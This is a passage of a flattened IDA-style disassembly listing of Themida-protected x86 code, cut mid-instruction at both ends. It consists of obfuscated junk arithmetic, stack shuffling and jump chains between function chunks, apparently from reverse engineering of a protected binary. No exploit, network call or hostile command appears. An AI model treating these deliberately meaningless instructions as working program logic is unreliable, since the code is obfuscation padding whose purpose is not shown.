ah, 66h add dh, ah mov eax, [esp-12h+arg_C+2] add esp, 4 push ecx jmp loc_5958BF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58CA3D: ; CODE XREF: sub_595655+1A01j or eax, 0B897B03h jmp loc_597F78 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- loc_58CA47: ; CODE XREF: Themida_:00596EA7j sub ax, dx add ax, 3C8Bh sub ax, 1C2Eh pop edx mov bx, [esp] add esp, 2 push ax mov ax, 2095h add bx, ax mov ax, [esp] jmp loc_59501C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_58CA6C: ; CODE XREF: sub_58F091:loc_58C5E8j not edi push 35Fh jmp loc_58B44B ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- loc_58CA78: ; CODE XREF: Themida_:0058BD41j xor ebx, [esp] pop esp mov [esp], ecx mov ecx, esp push edx jmp loc_58C457 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CA87: ; CODE XREF: sub_5916C4-3D9Ej xor bl, al movzx eax, al push dword ptr [edi+eax*4] push edi mov edi, 43781F68h jmp loc_59122E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58CA9A: ; CODE XREF: Themida_:0058B118j pop ecx xor ecx, 6EC6244Dh pop edx and ecx, 58E405F3h sub ecx, 5060040Fh add eax, ecx pop ecx push edx mov edx, 4 add eax, edx pop edx xor eax, [esp] jmp loc_58E8B0 ; --------------------------------------------------------------------------- loc_58CAC2: ; CODE XREF: Themida_:0058BA53j push eax mov eax, 2FCC5788h shr eax, 6 jmp loc_58AB21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CAD0: ; CODE XREF: sub_58C17E+C88j push 4E88h jmp loc_58F7BC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58CADA: ; CODE XREF: Themida_:00590553j ; sub_590010+1B20j add ebp, 7461519h sub ebp, 613E0866h add ebp, esi jmp loc_59380A ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58CAED: ; CODE XREF: Themida_:0059156Ej ; Themida_:00593F30j sub dl, 56h mov cl, dl jmp loc_58E249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CAF7: ; CODE XREF: sub_58C17E+9637j pop ecx add edx, 4 jmp loc_58E145 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58CB00: ; CODE XREF: sub_5EC2E8-5A98Cj push [esp+24h+var_20] pop ebp pop [esp+24h+var_24] pop esp cmp cx, ax pushf jmp loc_596923 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58CB12: ; CODE XREF: Themida_:00594FC6j inc ebp jl loc_58F478 dec ebp jmp loc_58C13B ; --------------------------------------------------------------------------- sub ebp, 836A7E70h push edi ; START OF FUNCTION CHUNK FOR sub_59762D loc_58CB26: ; CODE XREF: sub_59762D:loc_58F6A0j sub edx, 7C198C65h jmp loc_59258A ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594131 loc_58CB31: ; CODE XREF: sub_594131+Ej push eax mov eax, 54113F26h sub ebx, eax pop eax add ebx, 45BED362h add edi, ebx pop ebx push ecx jmp loc_58F072 ; END OF FUNCTION CHUNK FOR sub_594131 ; --------------------------------------------------------------------------- loc_58CB49: ; CODE XREF: Themida_:0059144Ej push esp jmp loc_58A4B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F013 loc_58CB4F: ; CODE XREF: sub_58F013+37C9j pop ebp push 5DE9h mov [esp+4+var_4], ecx push dword ptr [esp+4] pop ecx jmp loc_58DA19 ; END OF FUNCTION CHUNK FOR sub_58F013 ; --------------------------------------------------------------------------- loc_58CB62: ; CODE XREF: Themida_:00590D59j push dword ptr [esp+4] jmp loc_58F866 ; --------------------------------------------------------------------------- loc_58CB6B: ; CODE XREF: Themida_:0058C908j push 4CBBh mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_58F492 ; --------------------------------------------------------------------------- loc_58CB7F: ; CODE XREF: Themida_:0058C5D5j push 1B78h jmp loc_59560B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CB89: ; CODE XREF: sub_58C17E-14EFj mov bl, al mov dl, bl mov ebx, [esp+0] add esp, 4 mov bl, dl mov edx, [esp+0Ch+var_C] add esp, 4 pop eax jmp loc_5977E9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58CBA4: ; CODE XREF: sub_591059+3CC8j xor ebx, eax jmp loc_594090 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_58CBAB: ; CODE XREF: Themida_:0058C7CBj lodsb sub esp, 4 jmp loc_591462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CBB7: ; CODE XREF: sub_5948B7-4595j ; sub_58C17E+AE1Dj jp loc_593299 shl ebx, 2 jz loc_58D770 sub ebx, 52F96193h jmp loc_58F614 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58CBD1: ; CODE XREF: sub_5919E2-63FCj add esi, 0C9A36DB7h jmp loc_595564 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CBDC: ; CODE XREF: sub_58C17E+BEDCj pop ebx add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] jmp loc_58A569 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58CBED: ; CODE XREF: sub_590010+43E6j add ecx, 0E4CF820Dh mov esi, ecx pop ecx jmp loc_594806 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58CBFB: ; CODE XREF: Themida_:0058ACD3j sub ebx, 0DB9F9089h sub esi, 7C276857h add esi, ebx push edx mov edx, 7AA54AAh add edx, 41F3301Fh shr edx, 6 sub edx, 49C51A9Ch sub edx, 3BB00155h sub edx, 0FF89F1CBh jmp loc_58DFEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58CC2F: ; CODE XREF: sub_5EC2E8-61D57j push ecx mov ch, ah mov bh, ch pop ecx jmp loc_596C4E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58CC3A: ; CODE XREF: Themida_:00591539j jno loc_58BFC7 push ecx push ebx mov ebx, 7DA0097Bh mov al, 4Dh mov edi, edi ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_58CC4B: ; CODE XREF: sub_58E3A6-31A6j and edi, 2CC43FC1h inc edi add edi, 306B5E36h add edx, edi pop edi sub esp, 4 mov [esp-4+arg_0], ecx jmp loc_592B77 ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_58CC69: ; CODE XREF: sub_58F091+1238j pop ebp and ecx, edi mov edi, [esp+4+var_4] jmp sub_58DBC4 ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58CC74: ; CODE XREF: sub_590010-D43j xchg edi, [esp+0] pop esp shr ecx, 0Bh push 6C04h mov [esp+0], edi push ebx sub [esp+4+var_4], 451B6CF4h jmp loc_59124E ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CC90: ; CODE XREF: sub_5916C4-608Dj mov bh, 0 add al, bh jmp loc_58C58D ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58CC99: ; CODE XREF: Themida_:0059537Aj inc ecx sub ecx, 20490312h jmp loc_594593 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CCA5: ; CODE XREF: sub_5916C4+4F93j push 4223h mov [esp+0], edi push 160Eh jmp loc_596DEA ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58CCB7: ; CODE XREF: sub_595E21-7232j dec ebx jle loc_595637 dec ebx jnp loc_59490B shr ebx, 7 jns loc_592882 sub ebx, 0FFFDBA48h push ebx pop edi pop ebx jmp loc_5919CC ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- pop ecx loc_58CCDD: ; CODE XREF: Themida_:0058BC8Cj add esi, 4 add esi, 4 push esi jmp loc_591632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58CCEF: ; CODE XREF: sub_595258-530Dj pop eax add ebx, edi pop edi xor ebx, [esp+14h+var_14] jmp loc_5971A0 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CCFB: ; CODE XREF: sub_58C17E+5F78j add esi, 4 xchg esi, [esp+0] pop esp jmp loc_592689 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58CD07: ; CODE XREF: sub_590B70+DA2j ; Themida_:0059639Fj sub esi, eax pop eax sub ebx, esi pop esi add eax, [ebx] pop ebx jmp loc_595ED8 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58CD15: ; CODE XREF: sub_58F5B5+1785j add ebx, 4 jmp loc_590DB4 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D12 loc_58CD20: ; CODE XREF: sub_592D12-6B99j mov esp, [esp-0Ch+arg_8] mov ax, word ptr [esp-0Ch+arg_8] push edx mov edx, esp jmp sub_58B4D6 ; END OF FUNCTION CHUNK FOR sub_592D12 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58CD3E: ; CODE XREF: Themida_:0058E93Ej shr esi, 4 shr esi, 6 push ecx mov ecx, 67740DDh xor ecx, 52DC3C7Bh shr ecx, 1 shl ecx, 7 shl ecx, 6 sub ecx, 8D7A125Ah jmp loc_595862 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CD63: ; CODE XREF: sub_5916C4-62FFj mov ebp, 4 add esi, ebp pop ebp add esi, 2 xchg esi, [esp-8+arg_4] pop esp push ebx push eax mov ah, dl jmp loc_593802 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58CD7B: ; CODE XREF: Themida_:00592263j ja loc_5945E0 shr edi, 6 sub edi, 71E80F89h push edx loc_58CD8B: ; CODE XREF: Themida_:0058B970j sub ebx, 0C624216Bh add edx, ebx pop ebx not edx push edi push ebx mov ebx, 2551AC0h mov edi, ebx pop ebx shr edi, 7 push eax mov eax, 664F4D78h neg eax neg eax inc eax jmp loc_59793C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58CDB3: ; CODE XREF: sub_590467-5B72j or esi, 73995CAFh sub esi, 62F52DA8h mov eax, esi pop esi and eax, 770F001Ah sub eax, 1506000Eh add ebp, eax pop eax push eax mov eax, 4 sub ebp, eax pop eax push ebp jmp loc_58DDCC ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58CDEC: ; CODE XREF: sub_5916C4+5421j or ebx, esi pop esi push ecx jmp loc_591F45 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CDF5: ; CODE XREF: sub_58C17E+523j ; Themida_:00591DD0j add eax, esi add eax, 7F37C2Eh pop esi mov edi, [esp-0Eh+arg_8+2] add esp, 4 jmp loc_58CAD0 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58CE0B: ; CODE XREF: sub_5EC2E8-60559j mov cl, 0D2h and cl, 0DCh jmp loc_5958F0 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58CE15: ; CODE XREF: Themida_:00594F7Aj xor [esp], edi xor edi, [esp] jmp loc_590D2B ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edi push esp pop edi add edi, 4 push esi jmp loc_58DB8E ; --------------------------------------------------------------------------- loc_58CE33: ; CODE XREF: Themida_:00591B38j add edx, 4 push 5604h mov [esp], edi push ebp jmp loc_5912F5 ; --------------------------------------------------------------------------- loc_58CE47: ; CODE XREF: Themida_:0058EE4Dj add esp, 4 push ebp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_594F22 ; --------------------------------------------------------------------------- lodsd jmp loc_595A2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CE6C: ; CODE XREF: sub_58C17E+4BE6j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp-12h+arg_C+2] jmp loc_58BACA ; --------------------------------------------------------------------------- loc_58CE7F: ; CODE XREF: sub_58C17E+3096j add esp, 4 jmp loc_594C16 ; --------------------------------------------------------------------------- loc_58CE8A: ; CODE XREF: sub_58C17E-18Bj add ebx, 4 add ebx, 4 xor ebx, [esp+2+var_4+2] xor [esp+2+var_4+2], ebx xor ebx, [esp+2+var_4+2] pop esp push esi mov esi, 120C6F33h or esi, 3A3140B0h jmp loc_58B5BA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58CEB1: ; CODE XREF: sub_5916CB-37A8j mov esp, [esp+0] jmp loc_58FFD3 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CEB9: ; CODE XREF: sub_58C17E+6E18j mov [esp+2+var_4+2], esp push ebx jmp loc_58A6FB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58CEC2: ; CODE XREF: sub_58C17E+5EB8j ; sub_5EC2E8-55F1Dj mov eax, 6A6A1FC9h add edi, eax pop eax jmp loc_596B92 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58CECF: ; CODE XREF: Themida_:00593376j pop eax pop edi push edx jmp loc_5940F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CED7: ; CODE XREF: sub_58C17E+6506j jmp loc_594B2B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58CEDC: ; CODE XREF: sub_59762D-25A8j mov cl, 71h xor dh, cl mov cx, [esp+0] add esp, 2 sub al, 0D5h push bx mov bh, 0CAh add al, bh pop bx add al, dh sub al, 0CAh jmp loc_58F85F ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58CEFD: ; CODE XREF: Themida_:00595A4Cj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi jmp loc_597779 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58CF15: ; CODE XREF: sub_59762D-A3Ej mov eax, 0F4EB65A1h xor edx, eax pop eax sub ebp, edx pop edx xor ebp, 147A1EB1h not ebp jmp loc_591823 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58CF2D: ; CODE XREF: Themida_:0058FA75j sub esi, ebp pop ebp xor esi, [esp] jmp loc_59182E ; --------------------------------------------------------------------------- loc_58CF38: ; CODE XREF: Themida_:0058E373j add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_58A570 ; --------------------------------------------------------------------------- loc_58CF48: ; CODE XREF: Themida_:0058D552j mov eax, esp add eax, 4 sub esp, 4 jmp loc_592629 ; --------------------------------------------------------------------------- loc_58CF57: ; CODE XREF: Themida_:005918D7j push ebx jmp loc_594B65 ; --------------------------------------------------------------------------- loc_58CF5D: ; CODE XREF: Themida_:00596EB3j xor bl, 0C2h jmp loc_592BE2 ; --------------------------------------------------------------------------- loc_58CF65: ; CODE XREF: Themida_:00597E7Aj sub edx, ebp pop ebp sub esp, 4 mov [esp], ecx jmp loc_58EBF4 ; --------------------------------------------------------------------------- loc_58CF73: ; CODE XREF: Themida_:0058DB21j dec ah inc ah not ah push edx mov dl, 0D1h shl dl, 7 or dl, 0B9h xor dl, 0EBh sub dl, 66h add dl, 7Bh xor ah, dl pop edx add ah, 4 xor ch, ah pop eax xor al, ch mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5970CF ; --------------------------------------------------------------------------- lodsd push edx mov edx, 8E67C52h sub edx, 52970E08h push 3934h mov [esp], ecx jmp loc_58BCAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58CFC1: ; CODE XREF: sub_58C17E+BB0Fj pop ebx and eax, ecx mov ecx, [esp+2+var_4+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+0Ah+var_8+2] jmp loc_590B34 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58CFDD: ; CODE XREF: Themida_:005951E9j mov ebx, 235F13A0h add eax, ebx pop ebx push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5920BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58CFF1: ; CODE XREF: sub_595123+288Fj mov esp, [esp+0Ch+var_C] jmp loc_58AFE2 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58CFF9: ; CODE XREF: sub_5916CB-24Fj add esi, 4 push ecx mov ecx, 614D1066h sub ecx, 614D1062h sub esi, 6823399h add esi, ecx add esi, 6823399h pop ecx xchg esi, [esp+0Ch+var_C] pop esp or edx, eax shl edx, 1 push eax push ebx mov ebx, 1 mov eax, ebx pop ebx push 3E0Dh mov [esp+10h+var_10], edx mov edx, 24h sub esp, 4 mov [esp+14h+var_14], ebp mov ebp, 382A50DFh sub edx, ebp mov ebp, [esp+14h+var_14] jmp loc_58F39F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58D051: ; CODE XREF: sub_5EC2E8-606CAj xor eax, 79FA75FFh jmp loc_594734 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D05B: ; CODE XREF: sub_5919E2-3E72j ; sub_58C17E+5E61j mov [esp+0], esi pop eax pop esi push ebp push ebx sub esp, 4 mov [esp+0], ecx jmp loc_58F4D9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58D06D: ; CODE XREF: Themida_:0058F17Bj pop eax pop ecx add ecx, ebp jmp loc_58A84F ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx jmp loc_596D4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D085: ; CODE XREF: sub_58C17E+8AADj mov eax, 4 sub esi, 7F1C3ED0h add esi, eax add esi, 7F1C3ED0h mov eax, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] jmp loc_592E13 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58D0AE: ; CODE XREF: Themida_:0058E1BDj ; Themida_:0058E477j add esp, 4 add ebp, 4 jmp loc_594542 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58D0BC: ; CODE XREF: sub_5EC2E8-612D9j add esp, 4 sub ecx, 5A597F45h add ecx, edi add ecx, 5A597F45h push eax pop dword ptr [ecx] mov ecx, [esp+20h+var_20] jmp loc_58D8FC ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58D0D8: ; CODE XREF: Themida_:0058C35Bj mov [esp], ecx jmp loc_5964A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58D0E0: ; CODE XREF: sub_58F5B5-19F6j add ecx, 4 jmp sub_5951B9 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; =============== S U B R O U T I N E ======================================= sub_58D0EB proc near ; CODE XREF: sub_58C17E-FCBj ; FUNCTION CHUNK AT 0058DC19 SIZE 00000010 BYTES push ebx jmp loc_58DC19 sub_58D0EB endp ; --------------------------------------------------------------------------- loc_58D0F1: ; CODE XREF: Themida_:0059419Dj add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 sub ecx, 2 jmp loc_58AC94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D116: ; CODE XREF: sub_58C17E-1D26j mov eax, esp sub esp, 4 mov [esp+8+var_8], esi jmp loc_58BEDD ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5951B9 loc_58D126: ; CODE XREF: sub_5951B9+9j push dword ptr [esp+4] mov ecx, [esp+8+var_8] jmp loc_594ED0 ; END OF FUNCTION CHUNK FOR sub_5951B9 ; --------------------------------------------------------------------------- loc_58D132: ; CODE XREF: Themida_:0058F797j neg eax add eax, 132D8622h sub edi, eax pop eax pop eax xor edx, edi pop edi or [edi+1Ch], edx pop edx jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58D149: ; CODE XREF: sub_592D25-1BC1j ; sub_595BDA-2112j add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp sub esp, 4 mov [esp+0], ecx jmp loc_594B4F ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D164: ; CODE XREF: sub_590467-5D2Fj ; Themida_:00592DD2j neg cl ja loc_58EB56 push eax mov al, 0B8h or al, 0DCh and al, 0B8h xor al, 95h shl al, 3 dec al add al, 54h or cl, al pop eax and cl, 4Dh jb loc_58FB59 add cl, 0F9h mov bh, cl push [esp-4+arg_0] jmp loc_596CAB ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_593237 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58D1A1: ; CODE XREF: sub_590010-7FEj mov esi, 4100C26Fh push ebx mov ebx, 560E4288h sub ecx, ebx jmp loc_591389 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58D1B3: ; CODE XREF: sub_594654-51A7j mov esi, ecx jmp loc_5977BA ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909B4 loc_58D1BA: ; CODE XREF: sub_5909B4+6CCj pop eax inc eax add eax, 1625718Ah add ebx, eax pop eax jmp loc_58FC72 ; END OF FUNCTION CHUNK FOR sub_5909B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58D1C9: ; CODE XREF: sub_59524C-92C3j sub ebx, 2A7C5613h sub ebx, 3558747Fh add ebx, edx add ebx, 3558747Fh add ebx, 2A7C5613h pop edx and eax, ebx push [esp-8+arg_4] pop ebx add esp, 4 or eax, eax jz sub_592857 push edx push esi sub esp, 4 mov [esp+0], edi jmp sub_590B70 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58D208: ; CODE XREF: Themida_:0059171Dj push eax xor dword ptr [esp], 3D0C1D82h pop ebx jmp loc_58F6B6 ; --------------------------------------------------------------------------- loc_58D216: ; CODE XREF: Themida_:00596261j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp bswap eax push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_594F77 ; =============== S U B R O U T I N E ======================================= sub_58D236 proc near ; CODE XREF: sub_58EB1F-4429j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058A79E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C6BC SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058E652 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591917 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00591B4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593B4E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059772E SIZE 00000020 BYTES sub esp, 4 jmp loc_591917 sub_58D236 endp ; sp-analysis failed ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push ecx push esp jmp loc_594165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D24D: ; CODE XREF: Themida_:0058DD94j ; sub_590467-906j push edx mov edx, 0FFFFFFFFh jmp loc_591EB5 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58D258: ; CODE XREF: Themida_:005909EBj or esi, 7D0B5406h inc esi xor esi, 38647B2Eh add edi, esi pop esi sub edi, 77F35DE0h pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58EF24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58D27D: ; CODE XREF: sub_595655-121Aj sub esi, ebp sub esi, 220B2D76h add esi, 2CFD2B33h pop ebp and eax, esi jmp loc_58F954 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590E26 loc_58D293: ; CODE XREF: sub_590E26+8j xor ebp, 67F44F0Eh and ebp, 75B586Ah push ecx mov ecx, 477A40ACh xor ebp, ecx pop ecx shr ebp, 2 xor ebp, 10CAC035h jmp loc_592EE5 ; END OF FUNCTION CHUNK FOR sub_590E26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58D2B6: ; CODE XREF: sub_58B4D6+55C1j not edx or edx, 60077B84h shr edx, 8 xor edx, 3A1960B4h sub edx, 0F0CF951Ah sub ebx, 1F325105h sub ebx, edx jmp loc_590373 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58D2DA: ; CODE XREF: sub_58C17E+89B4j mov ecx, 35AE46A2h sub ecx, edi jmp loc_595921 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58D2E6: ; CODE XREF: sub_595E21-2D95j xor ebp, eax jmp loc_58B239 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58D2ED: ; CODE XREF: sub_590010+1722j add eax, edx add eax, 2A0D12AAh jmp loc_5922B2 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58D2F9: ; CODE XREF: Themida_:0058FEB1j xor ebp, 15C31B13h xor ebp, 4A7A4D6Ah jmp loc_5959E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58D30A: ; CODE XREF: sub_59524C-25Ej sub ecx, esi pop esi mov esi, ecx jmp loc_58BA94 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58D314: ; CODE XREF: sub_590467-5CF5j add bl, 0E3h sub bl, 3Dh jmp loc_59357F ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58D31F: ; CODE XREF: Themida_:0058E8ECj push eax mov eax, edx push edi mov edi, eax mov esi, edi pop edi pop eax mov edx, [esp] add esp, 4 sub eax, 225012F1h sub eax, esi add eax, 225012F1h pop esi push ebx mov ebx, 5B98976Dh jmp loc_592D57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_58D34A: ; CODE XREF: sub_596CA1-AB6Bj add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp 